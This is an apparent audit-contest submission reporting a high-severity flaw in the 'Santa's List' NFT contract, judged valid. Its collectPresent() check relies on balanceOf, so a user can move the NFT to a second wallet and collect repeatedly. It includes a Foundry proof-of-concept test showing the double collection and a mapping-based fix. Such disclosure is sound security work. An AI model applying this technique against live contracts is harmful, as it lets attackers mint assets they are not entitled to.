First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

collectPresent function use balanceOf to check if the user has already collect the present - can collect present multiple times

rapstyle

Summary

The SantasList::collectPresent function use balanceOf(msg.sender) to check if a user has already get the present. This is not secure because the balance of the account can be changed.

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
@> if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}

Vulnerability Details

Using balanceOf(msg.sender) to check if a user has already get the present, an attacker can move the nft on a second wallet, and can collect another present multiple times.

I created a test to verify the vulnerability.

First of all we have to create a new user inside the SantasListTest.t.sol adding a new address.

address user = makeAddr("user");
+ address user2 = makeAddr("user2");

After that we can paste this test

Code:
function testCollectPresentNiceTwice() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
​
// User send token to user2 account
santasList.safeTransferFrom(address(user), address(user2), 0);
assertEq(santasList.balanceOf(user), 0);
​
// User can not collect another present
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
​
// Move the previous present from original address
vm.startPrank(user2);
santasList.safeTransferFrom(address(user2), address(user), 0);
​
// Now user have 2 presents
vm.startPrank(user);
assertEq(santasList.balanceOf(user), 2);
​
vm.stopPrank();
}

and then we can launch the test with the command

forge test --mt testCollectPresentNiceTwice -vvv

Impact

An attacker can collect multiple NFTs with this technique. If the user have status EXTRA_NICE he can also mint tokens multiple times.

Tools Used

Manual review and Foundry test

Recommendations

It is better to use a mapping and save the addresses that have already collect the NFT.

mapping(address person => Status naughtyOrNice) private s_theListCheckedOnce;
mapping(address person => Status naughtyOrNice) private s_theListCheckedTwice;
+ mapping(address person => uint256) private s_presentsCollected;
...
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
+ if (s_presentsCollected[msg.sender] > 0) {
revert SantasList__AlreadyCollected();
}
if (
s_theListCheckedOnce[msg.sender] == Status.NICE &&
s_theListCheckedTwice[msg.sender] == Status.NICE
) {
_mintAndIncrement();
+ s_presentsCollected[msg.sender] = block.timestamp;
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE &&
s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
+ s_presentsCollected[msg.sender] = block.timestamp;
return;
}
revert SantasList__NotNice();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.